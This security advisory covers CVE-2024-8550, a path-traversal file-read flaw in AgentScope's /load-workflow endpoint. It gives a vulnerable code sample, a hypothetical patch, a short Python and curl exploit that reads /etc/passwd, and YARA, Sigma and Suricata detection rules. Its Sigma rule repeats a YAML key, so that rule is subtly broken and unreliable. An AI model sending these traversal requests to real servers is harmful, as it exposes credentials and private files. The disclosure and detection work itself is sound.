CVE-2024-8550

Executive Summary

CVE-2024-8550 is a Local File Inclusion (LFI) vulnerability in the /load-workflow endpoint of Modelscope AgentScope version v0.0.4. The flaw arises from improper sanitization of user input passed to os.path.join, allowing an attacker to read arbitrary files from the server, including sensitive files such as API keys. With a CVSS score of 7.5 (High), this vulnerability poses a significant risk to confidentiality. No patch is currently available, and exploitation is straightforward via path traversal sequences (e.g., ../). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of details increases risk.

Supply Chain & Package Security

AgentScope is a Python package available on PyPI. This vulnerability affects the core application logic, not a dependency. However, organizations using AgentScope in their supply chain should treat this as a critical risk until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable remotely without authentication, leading to full disclosure of sensitive files.

Deep Dive & Mechanics

The /load-workflow endpoint in AgentScope v0.0.4 accepts a filename parameter and passes it to os.path.join without proper sanitization. The function os.path.join does not prevent path traversal; it simply concatenates paths. An attacker can supply a filename like ../../etc/passwd to read arbitrary files outside the intended workflow directory.

Root Cause: Lack of input validation and failure to canonicalize the path before use.

Impact: An attacker can read:

• Application configuration files (e.g., .env, config.yaml)
• API keys, database credentials
• System files (e.g., /etc/passwd, /etc/shadow)
• Source code

Vulnerable vs. Patched Code

Vulnerable Code (v0.0.4):

@app.route('/load-workflow', methods=['GET'])
def load_workflow():
    filename = request.args.get('filename')
    # No sanitization
    filepath = os.path.join('workflows', filename)
    with open(filepath, 'r') as f:
        return f.read()

Patched Code (Hypothetical):

import os

@app.route('/load-workflow', methods=['GET'])
def load_workflow():
    filename = request.args.get('filename')
    # Sanitize: remove path traversal sequences
    safe_filename = os.path.basename(filename)
    filepath = os.path.join('workflows', safe_filename)
    # Ensure file is within allowed directory
    real_path = os.path.realpath(filepath)
    allowed_path = os.path.realpath('workflows')
    if not real_path.startswith(allowed_path):
        return "Invalid file", 403
    with open(real_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target:port"
payload = "../../etc/passwd"
url = f"{target}/load-workflow?filename={payload}"
response = requests.get(url)
print(response.text)

Manual Exploitation:

curl "http://target:port/load-workflow?filename=../../etc/passwd"

Lab Setup:

1. Deploy AgentScope v0.0.4 in a Docker container.
2. Expose port 5000.
3. Run the exploit to read /etc/passwd.

Blue Team

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, ..\\).
• Alert on requests to /load-workflow with suspicious filename parameters.
• Use WAF rules to block path traversal sequences.

Hunting:

• Search logs for filename parameter containing ../ or ..\\.
• Check for unusual file reads from the application directory.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /load-workflow?filename=../../etc/passwd
  • Repeated path traversal attempts in logs
• File System:
  • Unexpected access to /etc/passwd, /etc/shadow, .env, config.yaml
• Logs:
  • Application logs showing FileNotFoundError for system files
  • Web server logs with 200 responses to path traversal requests

Detection Engineering

YARA Rule

rule CVE_2024_8550_LFI {
    meta:
        description = "Detects path traversal attempts in AgentScope /load-workflow endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8550"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $endpoint = "/load-workflow"
    condition:
        $endpoint and $path_traversal
}

Sigma Rule

title: CVE-2024-8550 LFI Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal in /load-workflow endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/load-workflow?filename='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8550 LFI Attempt"; flow:to_server,established; content:"/load-workflow"; http_uri; content:"filename="; http_uri; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /load-workflow endpoint if not required.
2. Apply input validation: Use os.path.basename() to strip path traversal sequences.
3. Implement allowlist: Only permit specific filenames (e.g., workflow IDs).
4. Use a WAF to block path traversal patterns.

Long-term Fix:

• Upgrade to a patched version once available.
• Conduct a security audit of all endpoints for similar issues.

Workaround:

• Restrict file read permissions so the application cannot access sensitive system files.

Valters IT
Securing Digital Frontiers